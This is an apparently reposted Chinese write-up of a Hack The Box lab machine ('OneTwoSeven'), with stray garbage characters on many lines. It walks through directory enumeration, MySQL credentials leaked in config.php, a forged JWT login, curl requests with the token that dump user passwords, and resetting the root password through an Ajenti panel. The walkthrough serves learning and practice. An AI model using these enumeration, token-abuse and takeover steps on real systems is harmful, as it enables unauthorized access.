|
0 M( N1 }' H* D. X& n' h9 j
文章目录—————— 昨日回顾 ——————渗透测试 | HTB-OneTwoSeven实战http://qiyuanxuetang.net/courses/ 
" @7 F% \4 f2 r- _" y4 ~% H. K& o# Z —————— 昨日回顾 ——————红日安全出品|转载请注明来源文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用任何人不得将其用于非法用途以及盈利等目的否则后果自行承担来源红日安全渗透测试 | HTB-OneTwoSeven实战 
! M! ?' T4 D8 s1 N5 C —————— —————— —————信息收集打开10.10.10.137 发现就个静态般我习惯先看下源码发现是个静态了Bootstrap 4端口测试21/tcp ftp22/tcp ssh80/tcp http 5 D9 [, n$ M( Z. D9 Y0 w; K {
3000/tcp ppp8000/tcp http-alt1. 10.10.10.137:8000 个Ajenti登陆2. 10.10.10.137:3000返回{"success":false,"message":"Auth token is not supplied"} $ S+ R7 g2 Z4 n: g" X8 w
目录遍历习惯dirsearch.py 分别对80、3000进录遍历80端发现[17:51:04] 403 - 220B - /.ht_wsr.txt[17:51:04] 403 - 222B - /.htaccess-dev
b4 D# M- N% b" P [17:51:04] 403 - 224B - /.htaccess-local[17:51:04] 403 - 213B - /.hta[17:51:04] 403 - 224B - /.htaccess-marco
7 Y; v% G7 x- x8 i, u7 | [17:51:04] 403 - 223B - /.htaccess.bak1[17:51:04] 403 - 222B - /.htaccess.BAK[17:51:04] 403 - 222B - /.htaccess.old
3 _* c5 ?. W( [2 n* G& a, i [17:51:05] 403 - 221B - /.htaccessOLD[17:51:05] 403 - 223B - /.htaccess.orig[17:51:05] 403 - 223B - /.htaccess_orig
. P' j2 a, f" P$ Z! N& ~2 _ [17:51:05] 403 - 225B - /.htaccess.sample[17:51:05] 403 - 222B - /.htaccess.txt[17:51:05] 403 - 221B - /.htaccess_sc 1 V2 O# h2 i" q3 \. j4 ]
[17:51:05] 403 - 221B - /.htaccessBAK[17:51:05] 403 - 224B - /.htaccess_extra[17:51:05] 403 - 223B - /.htaccess.save
: E1 }6 G6 N0 ^ r- g [17:51:05] 403 - 222B - /.htpasswd-old[17:51:05] 403 - 219B - /.htaccess~[17:51:05] 403 - 219B - /.htpasswds
/ m* C/ ]2 R% `. |8 Z0 G2 N [17:51:05] 403 - 223B - /.htpasswd_test[17:51:05] 403 - 222B - /.htaccessOLD2[17:51:05] 403 - 217B - /.htgroup . Q. }2 L% ?' i0 n- z
[17:51:06] 403 - 217B - /.htusers[17:53:16] 200 - 202B - /config.php[17:53:25] 301 - 232B - /css -> http://10.10[17:54:02] 200 - 1KB - /gulpfile.js
, \, D8 Q% t, F3 c! a- S9 K7 h [17:54:16] 200 - 3KB - /index.html[17:54:24] 301 - 231B - /js -> http://10.10.1[17:54:30] 200 - 1KB - /LICENSE
# x8 q9 T/ \* U; h6 j [17:54:36] 200 - 2KB - /login.php[17:54:43] 401 - 381B - /management[17:54:43] 401 - 381B - /management/
2 S" r0 h3 j/ Z [17:54:46] 301 - 235B - /member -> http://10[17:54:46] 200 - 216B - /member/[17:55:06] 200 - 1KB - /package.json
* x2 n- Y" D: G/ P. J$ W) n7 } [17:55:35] 200 - 4KB - /README.md其中 /management 和 login.php 也是个登陆 /config.php 包括了mysql账号密码$dbHost = localhost; $dbUsername = root; $dbPassword = Zk6heYCyv6ZE9Xcg;
9 N0 G0 Y. f9 ^" s; F, p9 _5 n% J $db = "login"; $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) ordie("Connect failed: %s\n". $conn -> error); : o" n; t# g% r/ \& @4 r
3000端发现[22:30:18] Starting:[22:34:38] 200 - 13B - /login[22:34:38] 200 - 13B - /Login[22:34:40] 200 - 13B - /login/
, B; `1 _/ d% J0 N& A [22:35:42] 503 - 0B - /pmyadmin/[22:37:02] 200 - 56B - /users[22:37:03] 200 - 56B - /users/admin[22:37:03] 200 - 56B - /users/其中 /login 返回 "please auth" , users 也是返回 {"success":false,"message":"Auth token * C; F l6 t U F4 `8 ]. j& C+ k' j
is not supplied"}整合信息三个登陆10.10.10.137:8000、10.10.10.137/login.php、10.10.10.137/management个mysql账号密码root/Zk6heYCyv6ZE9Xcg
; U$ ?& q$ Z( e2 o 10.10.10.137:3000返回信息{"success":false,"message":"Auth token is not supplied"}10.10.10.137:3000/login返回
8 ]6 z1 s4 F' ?3 Y" U$ V# b2 }, C6 i "please auth"具体分析突破在在 "Auth token is not supplied"Google下发现是jwt认证失败的个返回信息因此推测应该构造认证信息post到10.10.10.137:3000然后获取到户凭证接着这个户凭证去请求 9 c; w4 g5 |! @; h* d5 o) T
10.10.10.137:3000/users这post的户信息概就是上的mysql账户密码因为只有这个可以了且这个账户信息尝试登陆在个登陆以及mysql服务端均没有成功使curlcurl -s -X POST -H Accept: application/json -H Content-Type:。 9 [: S3 Y3 [& d: `/ c
application/json --data {"usename":"admin","password":"Zk6heYCyv6ZE9Xcg"}http://10.10.10.137:3000/logi
& }, e$ n/ d* B9 L6 ]3 o4 C5 X# ^& e 回显信息Errortitle>head>SyntaxError: Unexpected token r in JSON at position 11at JSON.parse ()at parse(/nodeapp/node_modules/body-parser/lib/types/json.js:89:19) ' a: O, z! ~, x- t2 [ ~
at /nodeapp/node_modules/body-parser/lib/read.js:121:18at invokeCallback (/nodeapp/node_modules/raw-body/index.js:224:16)
+ h5 R: n( h# G5 a" e+ R at done (/nodeapp/node_modules/raw-body/index.js:213:7)at IncomingMessage.onEnd (/nodeapp/node_modules/rawbody/index.js:273:7) 8 |# _: h$ I' m
at IncomingMessage.emit(events.js:202:15)at endReadableNT(_stream_readable.js:1132:12)at processTicksAndRejections
7 ^2 E2 s, _/ k* L- d( O (internal/process/next_tick.js:76:17)pre>body>htm不知道是什么原因估计是curl哪构造错了但是可以确定的是思路是对的换postman发送json请求  
- o/ J/ S4 A. M3 t* V1 m tokeneyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY3NjY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU % l. i' A2 n7 q1 ] b7 M
这个token请求/users和/users/{user}curl -H Accept: application/json -H "Authorization: BearereyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY3N
1 W) {1 w; s7 v4 @' g: r# P h jY5MDI5LCJleHAiOjE1Njc3NTU0Mjl9.RXpmi8wbxNoRad-0grsWbMYK0a6_SVObti1aoiro8qU"https://10.10.10.137:3000/users
: {' T+ l; x8 ^ 获取到[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},
0 p b7 ]. d) _+ p0 E {"ID":"4","name":"Dory","Role":"Supporter"}]{"name":"Admin","password":"WX5b7)>/rp$U)FW"}%{"name":"Yuri","password":"bet@tester87"}% 4 J# R5 @" U1 p% x
{"name":"Derry","password":"rZ86wwLvx7jUxtch"}%{"name":"Dory","password":"5y:!xa=ybfe)/QD"登陆到http://10.10.10.137/management访问http://10.10.10.137/management/config.json
) l" {! h, @7 Q; e4 O w9 R 获取到root/KpMasng6S5EtTy9Z的账户信息最后登陆到10.10.10.137:8000  `4 I2 T1 O6 k6 b& c: s
flag:8448343028fadde1e2a1b0a44d01e650提权直接root/KpMasng6S5EtTy9Z登陆ssh不说明这只是web的账号但是ajenti服务是具有root权限的也说明可以任意操作了。
# h5 t( Z( W) }! \# U8 S File Manager翻了下配置件可以直接找到ssh的配置件/etc/sshd_config并且有编辑的权限那么修改配置项PermitRootLogin yes重新启动ssh服务再试下登陆ssh发现还是不可能root。
! E# k, i+ J% y c0 T; v 密码并不是web账户密码这有Users打开并直接重置root密码不需要旧密码重置  2 l' G+ ^9 q! t) u9 y
ssh登陆 
" ^# K" {0 r- F/ N( C# V; N; T9 ] 海量安全课程 点击以下链接 即可观看http://qiyuanxuetang.net/courses/专栏# HTB-Luke实战# HTB渗透# 代码审计# 内网渗透# 渗透测试
. W' K' C7 U3 z# s- C) n7 b/ f$ q; F$ E6 c
/ b [5 i2 O7 U: U3 Y
+ C7 d' Z7 ?) B1 d/ U4 H- E$ G: l
% G }3 J: N: L0 j/ k4 A | 
